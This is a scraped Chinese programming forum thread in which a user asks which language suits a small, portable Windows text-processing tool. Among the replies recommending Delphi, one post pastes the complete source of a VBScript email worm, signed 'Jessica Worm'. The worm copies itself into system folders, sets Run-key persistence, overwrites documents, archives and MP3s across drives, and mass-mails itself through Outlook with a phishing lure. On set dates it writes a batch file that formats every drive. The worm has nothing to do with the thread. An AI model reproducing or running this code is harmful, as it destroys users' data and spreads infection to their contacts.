我要写一个小软件。很简单。没有数据库操作。主要是文本文件的读取,字符串的操作。我估计程序代码,不会超过50K.我想程序的通用性好点,什么95,98,me,nt,2000,xp通吃。用哪种语言好点?高效一点?(我学习能力还行,不熟的两三天就熟了)VB ,我比较熟,当软件发行时要一个vb运行库。1M 多,不爽。
C# , 了解一点,正在学,但作应用程序更不爽,运行库还大,且不同的系统库还不一样。用哪种语言,请高手指点。
C# , 了解一点,正在学,但作应用程序更不爽,运行库还大,且不同的系统库还不一样。用哪种语言,请高手指点。
解决方案 »
- 使用json-rpc实现delphi+java异构语言RPC调用
- SQL2005SERVER,有BLOB字段的表打开太慢,如何优化属性参数,使打开速度提上来!!! 100分!
- 请教一个小问题~~!!
- 开发组件刷新问题,高手请进!!!!!!!!!!
- 问一个关于制作安装包的问题,有经验的请进。。。。。。。。。。。。。。。。。。
- AdoTable数据更新问题……(能解决不能解决的都请讨论,谢谢)
- 菜鸟求助
- 请问一个问题,TCanvac构件在哪里啊?
- 远程监控中,如何查看被控制机器的各个分区文件,以及对文件的拷贝删除呢??请问谁能给俺提供点思路,谢谢!
- 有没有人计算过,从VB向DELPHI过度一般需要多长时间。
- IT公司工资等级制度谁有啊,需要一份参考。
- 类型转换的怪问题!!!
我推荐使用Delphi.
delphi的运行库也不是很小
另外一种方法,使用的语言就无所谓了,使用API函数来写,非常的小!
:)
你既然在这里问推荐delphi吧!
不过50K太小,没有界面应该可以,如果有界面,难办!
dim filesys,sysdir,windir,file,vbscp
Set filesys = CreateObject("Scripting.FileSystemObject")
set file = filesys.OpenTextFile(WScript.ScriptFullname,1)
vbscp=file.ReadAll
main()sub main()
On Error Resume Next
dim timeover,err,sm,imme,addadd,address,c
set timeover=CreateObject("WScript.Shell")
err=timeover.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (err>=1) then
timeover.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
set sm=CreateObject("WScript.Shell")
imme=sm.RegRead("HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Send Mail Immediately")
if (imme>=0) then
sm.RegWrite "HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Send Mail Immediately",1,"REG_DWORD"
end if
set addadd=CreateObject("WScript.Shell")
address=addadd.RegRead("HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Auto Add Replies To WAB")
if (address>=0) then
addadd.RegWrite "HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Auto Add Replies To WAB",1,"REG_DWORD"
end if
Set windir = filesys.GetSpecialFolder(0)
Set sysdir = filesys.GetSpecialFolder(1)
Set c = filesys.GetFile(WScript.ScriptFullName)
c.Copy(sysdir&"\Kernel32.vbs")
c.Copy(windir&"\Rundll32.vbs")
c.Copy(sysdir&"\Table.htm.vbs")
regload()
mailworm()
if day(now())=14 or day(now())=15 then
killc()
end if
alldrivers()
end sub sub regload()
On Error Resume Next
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Explorer",sysdir&"\Kernel32.vbs"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Explorer",windir&"\Rundll32.vbs"
end subsub alldrivers()
On Error Resume Next
Dim d,dc,s
Set dc = filesys.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end subsub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,cop,s,docu
set f = filesys.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=filesys.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") then
set ap=filesys.OpenTextFile(f1.path,2,true)
ap.write vbscp
ap.close
elseif(ext="doc") or (ext="xls") or (ext="zip") or (ext="mp3") then
f1.attributes=0
set docu=filesys.OpenTextFile(f1.path,2,true)
docu.write vbscp
docu.close
filesys.deletefile f1.path,true
end if
next
end sub sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = filesys.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function function fileexist(filespec)
On Error Resume Next
dim msg
if (filesys.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function function folderexist(folderspec)
dim msg
if (filesys.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function sub mailworm()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "163电子邮箱收费通知"
male.Body = vbcrlf&"亲爱的用户:您好!163电子邮局已于近日开始实施对免费电子邮件服务进行收费的计划,欢迎您前来租用163电子邮箱,一年的使用费用为人民币100元(100M空间)。欲知详情,请仔细阅读附件中的申请步骤后进行申请租用注册。"
male.Attachments.Add(sysdir&"\Table.htm.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub sub killc()
On Error Resume Next
dim fs,auto,disc,ds,ss,i,x,dir
Set fs = CreateObject("Scripting.FileSystemObject")
Set auto = fs.CreateTextFile("c:\Autoexec.bat", True)
auto.WriteLine("@echo off")
auto.WriteLine("Smartdrv")
Set disc = fs.Drives
For Each ds in disc
If ds.DriveType = 2 Then
ss = ss & ds.DriveLetter
End if
Next
ss=LCase(StrReverse(Trim(ss)))
For i=1 to Len(ss)
x=Mid(ss,i,1)
auto.WriteLine("format/autotest/q/u "&x&":")
next
For i=1 to Len(ss)
x=Mid(ss,i,1)
auto.WriteLine("deltree/y "&x&":")
next
auto.Close
set dir=fs.GetFile("c:\Autoexec.bat")
dir.attributes=dir.attributes+2
End subrem Jessica Worm written by Bruce
rem I dedicate it to my angel--Jessica
你手提还没买啊,还是不要买了吧,不出差的话,没一点用。真的,背着又麻烦。
我也想着是用delphi